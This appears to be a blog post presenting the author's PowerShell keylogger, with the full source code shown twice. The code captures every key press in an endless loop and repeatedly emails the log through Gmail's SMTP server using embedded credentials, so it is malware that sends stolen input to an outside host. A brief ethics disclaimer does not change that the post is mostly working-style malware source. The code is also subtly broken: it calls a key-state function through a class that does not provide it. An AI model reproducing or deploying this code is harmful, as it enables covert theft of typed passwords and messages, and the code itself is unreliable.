First off let's explain what I have made.
Understanding a PowerShell Keylogger Script
In this exploration, we delve into a PowerShell script that simulates a basic keylogger. Before delving into the code, it's essential to emphasize the ethical and legal implications of creating keyloggers. The use of such tools without explicit consent is not only unethical but may also be illegal. It's crucial to ensure compliance with privacy and security standards and obtain proper authorization.
Now, let's dissect the script:
Loading Necessary Assemblies:
This part introduces the necessary .NET assemblies - System and System.Runtime.InteropServices. These assemblies enable access to .NET types and facilitate the invocation of functions from unmanaged code.
KeyLogger Class:
This section defines the KeyLogger class. It encapsulates properties for log storage, interval duration, email credentials, and methods for starting the keylogging process, appending to the log, reporting key presses, and sending the log via email.
Script Execution:
This part checks if the script is run directly and, if so, creates an instance of the KeyLogger class with specific parameters and starts the keylogging loop.
Code
Add-Type @"
using System;
using System.Runtime.InteropServices;
"@
class KeyLogger {
[string]$log = "Key started"
[int]$interval
[string]$username
[string]$password
[string]$email
KeyLogger([int]$time_interval, [string]$email, [string]$username, [string]$password) {
$this.interval = $time_interval
$this.username = $username
$this.password = $password
$this.email = $email
}
[void]Start() {
while ($true) {
$this.Report()
Start-Sleep -Milliseconds $this.interval
}
}
[void]AppendToLog([string]$content) {
$this.log += $content
}
[void]Report() {
for ($key = 1; $key -le 255; $key++) {
$state = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
$state = [System.Runtime.InteropServices.Marshal]::GetAsyncKeyState($key)
if ($state -eq -32767) {
$currentKey = [char]$key
$this.AppendToLog($currentKey)
}
}
if ($this.log.Length -gt 0) {
$this.SendEmail("`n`n" + $this.log)
$this.log = ""
}
}
[void]SendEmail([string]$message) {
$smtpServer = "smtp.gmail.com"
$smtpPort = 587
$smtp = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
$smtp.EnableSsl = $true
$smtp.Credentials = New-Object Net.NetworkCredential($this.username, $this.password)
$smtp.Send($this.email, $this.email, $message)
}
}
if ($MyInvocation.ScriptName -eq $null) {
$kl = New-Object KeyLogger -ArgumentList 120, '[email protected]', '[Hello]', '[Hello]'
$kl.Start()
}Understanding a PowerShell Keylogger Script
In this exploration, we delve into a PowerShell script that simulates a basic keylogger. Before delving into the code, it's essential to emphasize the ethical and legal implications of creating keyloggers. The use of such tools without explicit consent is not only unethical but may also be illegal. It's crucial to ensure compliance with privacy and security standards and obtain proper authorization.
Now, let's dissect the script:
Loading Necessary Assemblies:
Code
Add-Type @" using System; using System.Runtime.InteropServices; "@This part introduces the necessary .NET assemblies - System and System.Runtime.InteropServices. These assemblies enable access to .NET types and facilitate the invocation of functions from unmanaged code.
KeyLogger Class:
Code
class KeyLogger {
# Properties
[string]$log = "Key started"
[int]$interval
[string]$username
[string]$password
[string]$email
# Constructor
KeyLogger([int]$time_interval, [string]$email, [string]$username, [string]$password) {
# Initialization
$this.interval = $time_interval
$this.username = $username
$this.password = $password
$this.email = $email
}
# Method to start keylogging
[void]Start() {
while ($true) {
$this.Report()
Start-Sleep -Milliseconds $this.interval
}
}
# Method to append content to the log
[void]AppendToLog([string]$content) {
$this.log += $content
}
# Method to report key presses
[void]Report() {
for ($key = 1; $key -le 255; $key++) {
$state = [System.Runtime.InteropServices.Marshal]::GetAsyncKeyState($key)
if ($state -eq -32767) {
$currentKey = [char]$key
$this.AppendToLog($currentKey)
}
}
if ($this.log.Length -gt 0) {
$this.SendEmail("`n`n" + $this.log)
$this.log = ""
}
}
# Method to send log content via email
[void]SendEmail([string]$message) {
$smtpServer = "smtp.gmail.com"
$smtpPort = 587
$smtp = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
$smtp.EnableSsl = $true
$smtp.Credentials = New-Object Net.NetworkCredential($this.username, $this.password)
$smtp.Send($this.email, $this.email, $message)
}
}This section defines the KeyLogger class. It encapsulates properties for log storage, interval duration, email credentials, and methods for starting the keylogging process, appending to the log, reporting key presses, and sending the log via email.
Script Execution:
Code
if ($MyInvocation.ScriptName -eq $null) {
$kl = New-Object KeyLogger -ArgumentList 120, '[email protected]@OWASP.org', '[Hello]', '[Hello]'
$kl.Start()
}This part checks if the script is run directly and, if so, creates an instance of the KeyLogger class with specific parameters and starts the keylogging loop.
Hackerone.com/DBMS
Bugcrowd.com/Sleep
[email protected]
Youtube.com/Stripped
Github.com/SleepTheGod
Contact : linkedin.com/in/clumsy/
Contact : T.me/SleepTheGod
Bugcrowd.com/Sleep
[email protected]
Youtube.com/Stripped
Github.com/SleepTheGod
Contact : linkedin.com/in/clumsy/
Contact : T.me/SleepTheGod


